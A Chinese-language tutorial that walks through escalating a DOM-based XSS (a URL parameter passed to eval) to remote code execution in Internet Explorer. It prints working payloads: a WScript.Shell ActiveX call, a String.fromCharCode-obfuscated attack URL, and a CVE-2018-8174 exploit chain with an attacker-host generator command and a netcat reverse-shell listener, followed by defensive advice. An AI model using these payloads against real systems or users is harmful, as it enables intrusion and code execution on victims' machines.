记一次从DOM型XSS到RCE过程
字数 1171 2025-08-27 12:33:42

从DOM型XSS到RCE的漏洞利用教学文档

0x00 前言

本文详细讲解如何通过DOM型XSS漏洞实现远程代码执行(RCE)的全过程。传统XSS利用通常局限于Cookie窃取或CSRF攻击,而本文将展示如何突破浏览器限制,实现更高危害的系统命令执行。

0x01 DOM XSS漏洞挖掘

漏洞发现方法

  1. 寻找输入输出点:与常规XSS类似,寻找用户输入被直接输出的地方
  2. 分析JavaScript代码:特别关注以下高危函数:
    • eval()
    • document.write()
    • innerHTML
    • location相关操作

示例漏洞分析

示例站点存在以下问题:

  • 主页调用index.js文件
  • 接收platform参数
  • 参数未经处理直接传入eval()函数

关键漏洞代码:

// 用正则表达式获取地址栏参数
function getParam(paramName) {
    paramValue = "", isFound = !1;
    if (this.location.search.indexOf(0 && this.location.search.indexOf("=") > 1) {
        arrSource = unescape(this.location.search).substring(1, this.location.search.length).split("&"), i = 0;
        while (i < arrSource.length && !isFound) 
            arrSource[i].indexOf("=") > 0 && arrSource[i].split("=")[0].toLowerCase() == paramName.toLowerCase() && 
            (paramValue = arrSource[i].split("=")[1], isFound = !0), i++
    }
    return paramValue == null ? "" : paramValue
}

0x02 漏洞验证与调试

验证步骤

  1. 构造测试Payload:
    http://xxx.xxx.xxx.xxx/?platform=alert("xss")
    
  2. 在浏览器开发者工具中设置断点
  3. 观察参数传递过程:
    • getParam()函数返回完整参数值
    • 值直接传入eval()执行

执行效果

成功弹出alert框,证明XSS漏洞存在

0x03 从XSS到RCE

基本思路

利用JavaScript执行系统命令:

var o = new ActiveXObject("WScript.Shell");
o.run("calc.exe");

绕过限制技术

  1. 代码混淆:使用String.fromCharCode编码

    String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10)
    
  2. 浏览器安全设置调整(仅IE有效):

    • Internet选项 → 安全 → 自定义级别
    • 启用"对没有标记为安全的ActiveX控件进行初始化和脚本运行"

完整Payload

http://xxx.xx.xxx.xxx/?platform=eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));

0x04 高级利用:结合浏览器漏洞

当直接执行ActiveX被阻止时,可结合浏览器漏洞实现利用。

以CVE-2018-8174为例

利用步骤

  1. 下载EXP工具:
    https://github.com/Yt1g3r/CVE-2018-8174_EXP
    
  2. 生成攻击页面:
    python CVE-2018-8174.py -u http://attacker.com/exploit.html -i attacker_ip -p 4444
    
  3. 上传exploit.html到攻击者服务器
  4. 在攻击者机器监听端口:
    nc -lvp 4444
    
  5. 诱导受害者访问XSS链接

效果:成功获取反弹shell

0x05 防御措施

针对开发人员

  1. 输入过滤

    • 对所有用户输入进行严格验证
    • 使用白名单而非黑名单
  2. 避免高危函数

    • 替换eval()等危险函数
    • 使用JSON.parse()等安全替代方案
  3. 输出编码

    • 对输出到HTML的内容进行HTML编码
    • 使用textContent而非innerHTML
  4. 安全头设置

    • 设置Content-Security-Policy
    • 启用X-XSS-Protection

针对系统管理员

  1. 保持浏览器和系统补丁最新
  2. 限制ActiveX控件的使用
  3. 部署WAF防护XSS攻击

0x06 总结

本文展示了从DOM型XSS到RCE的完整利用链,关键点包括:

  1. 发现并验证DOM XSS漏洞
  2. 通过ActiveXObject尝试执行系统命令
  3. 结合浏览器漏洞绕过安全限制
  4. 最终实现远程代码执行

这种攻击方式虽然受限于浏览器安全机制,但在特定环境下仍可能造成严重危害。防御需要从开发和管理两个层面同时着手。

从DOM型XSS到RCE的漏洞利用教学文档 0x00 前言 本文详细讲解如何通过DOM型XSS漏洞实现远程代码执行(RCE)的全过程。传统XSS利用通常局限于Cookie窃取或CSRF攻击,而本文将展示如何突破浏览器限制,实现更高危害的系统命令执行。 0x01 DOM XSS漏洞挖掘 漏洞发现方法 寻找输入输出点 :与常规XSS类似,寻找用户输入被直接输出的地方 分析JavaScript代码 :特别关注以下高危函数: eval() document.write() innerHTML location 相关操作 示例漏洞分析 示例站点存在以下问题: 主页调用index.js文件 接收platform参数 参数未经处理直接传入eval()函数 关键漏洞代码: 0x02 漏洞验证与调试 验证步骤 构造测试Payload: 在浏览器开发者工具中设置断点 观察参数传递过程: getParam()函数返回完整参数值 值直接传入eval()执行 执行效果 成功弹出alert框,证明XSS漏洞存在 0x03 从XSS到RCE 基本思路 利用JavaScript执行系统命令: 绕过限制技术 代码混淆 :使用String.fromCharCode编码 浏览器安全设置调整 (仅IE有效): Internet选项 → 安全 → 自定义级别 启用"对没有标记为安全的ActiveX控件进行初始化和脚本运行" 完整Payload 0x04 高级利用:结合浏览器漏洞 当直接执行ActiveX被阻止时,可结合浏览器漏洞实现利用。 以CVE-2018-8174为例 利用步骤 : 下载EXP工具: 生成攻击页面: 上传exploit.html到攻击者服务器 在攻击者机器监听端口: 诱导受害者访问XSS链接 效果 :成功获取反弹shell 0x05 防御措施 针对开发人员 输入过滤 : 对所有用户输入进行严格验证 使用白名单而非黑名单 避免高危函数 : 替换eval()等危险函数 使用JSON.parse()等安全替代方案 输出编码 : 对输出到HTML的内容进行HTML编码 使用textContent而非innerHTML 安全头设置 : 设置Content-Security-Policy 启用X-XSS-Protection 针对系统管理员 保持浏览器和系统补丁最新 限制ActiveX控件的使用 部署WAF防护XSS攻击 0x06 总结 本文展示了从DOM型XSS到RCE的完整利用链,关键点包括: 发现并验证DOM XSS漏洞 通过ActiveXObject尝试执行系统命令 结合浏览器漏洞绕过安全限制 最终实现远程代码执行 这种攻击方式虽然受限于浏览器安全机制,但在特定环境下仍可能造成严重危害。防御需要从开发和管理两个层面同时着手。